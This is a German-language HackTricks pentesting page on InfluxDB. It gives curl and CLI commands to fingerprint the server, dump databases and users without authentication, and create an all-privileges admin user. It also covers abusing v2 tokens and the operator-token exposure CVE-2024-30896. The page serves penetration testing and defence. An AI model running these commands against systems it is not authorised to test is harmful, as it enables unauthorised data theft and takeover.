8086 - Pentesting InfluxDB
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
InfluxDB ist eine Open-Source-Zeitreihen-Datenbank (TSDB), entwickelt von InfluxData. TSDBs sind für das Speichern und Bereitstellen von Zeitreihendaten optimiert, die aus Zeitstempel-Wert-Paaren bestehen. Im Vergleich zu allgemeinen Datenbanken bieten TSDBs deutliche Verbesserungen beim Speicherplatz und der Performance für Zeitreihen-Datensätze. Sie verwenden spezialisierte Kompressionsalgorithmen und können so konfiguriert werden, dass alte Daten automatisch gelöscht werden. Spezialisierte Datenbankindizes verbessern zudem die Abfrageleistung.
Standardport: 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
Identifikation & Version (HTTP)
- v1.x:
GET /pinggibt Status 204 zurück und Header wieX-Influxdb-VersionundX-Influxdb-Build. - v2.x+:
GET /healthgibt JSON mit der Serverversion und dem Status zurück. Funktioniert ohne auth.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Tipp: exponierte Instanzen liefern oft auch Prometheus-artige Metriken unter /metrics.
Aufklärung
Aus Sicht eines Pentesters ist dies eine weitere Datenbank, die sensible Informationen speichern könnte, daher ist es interessant zu wissen, wie man alle Informationen ausliest.
Authentifizierung
InfluxDB kann Authentifizierung erfordern oder nicht
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
Wenn du einen Fehler wie diesen bekommst: ERR: unable to parse authentication credentials bedeutet das, dass einige credentials erwartet werden.
influx –username influx –password influx_pass
In influxdb gab es eine Sicherheitslücke, die eine Umgehung der Authentifizierung ermöglichte: CVE-2019-20933
Manual Enumeration (v1 HTTP API / InfluxQL)
Selbst wenn keine CLI verfügbar ist, ist die HTTP API normalerweise auf Port 8086 erreichbar.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
Bei einigen Tests mit dem authentication bypass wurde festgestellt, dass der Tabellenname in doppelte Anführungszeichen gesetzt werden muss, z. B.:
select * from "cpu"
Wenn authentication deaktiviert ist, kannst du sogar Benutzer erstellen und escalate:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
Die Informationen des folgenden CLI-Beispiels stammen von here.
Datenbanken anzeigen
Die gefundenen Datenbanken sind telegraf und internal (diese findest du überall)
> show databases
name: databases
name
----
telegraf
_internal
Tabellen/measurements anzeigen
Die InfluxDB documentation erklärt, dass measurements in InfluxDB mit SQL-Tabellen vergleichbar sind. Die Benennung dieser measurements deutet auf ihren jeweiligen Inhalt hin; jede enthält Daten, die für eine bestimmte Entität relevant sind.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
Zeige Spalten/Feldschlüssel
Die Feldschlüssel sind wie die Spalten der Datenbank
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
Und schließlich können Sie dump the table wie folgt ausführen:
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x führt token-basierte Auth und eine neue API ein (standardmäßig weiterhin auf 8086). Wenn Sie ein Token erhalten (leaked logs, default deployments, backups), können Sie folgendes auflisten:
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
Hinweise
- Für v1.8+ existieren einige v2-kompatible Endpunkte (
/api/v2/query,/api/v2/write,/health). Das ist nützlich, wenn der Server v1 ist, aber v2-artige Anfragen akzeptiert. - In v2 muss der HTTP-Header
Authorizationin der FormToken <value>sein.
Automated Enumeration
msf6 > use auxiliary/scanner/http/influxdb_enum
Recent vulns and privesc of interest (in den letzten Jahren)
- InfluxDB OSS 2.x bis 2.7.11: Offenlegung des Operator-Tokens (CVE-2024-30896). Unter bestimmten Bedingungen konnte ein authentifizierter Benutzer mit Lesezugriff auf die authorization-Ressource in der default org das instanzweite Operator-Token auflisten und abrufen (z. B. via
influx auth lsoderGET /api/v2/authorizations). Mit diesem Token kann ein Angreifer die Instanz administrieren (Buckets, Tokens, Benutzer) und auf alle Daten über alle orgs hinweg zugreifen. Auf eine korrigierte Version aktualisieren, sobald verfügbar, und vermeiden, reguläre Nutzer in der default org zu platzieren. Schnelltest:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- Viele legacy 1.x deployments stellen
/queryund/writeweiterhin unauthenticated im Internet zur Verfügung. Wenn auth deaktiviert ist, kannst du time-series nach Belieben auslesen oder sogar verändern; du kannst auch admin users wie oben gezeigt anlegen. Verifiziere immer mit der HTTP API, auch wenn die CLI dich blockiert.
Referenzen
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - CVE-2024-30896 operator token exposure in InfluxDB OSS 2.x. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

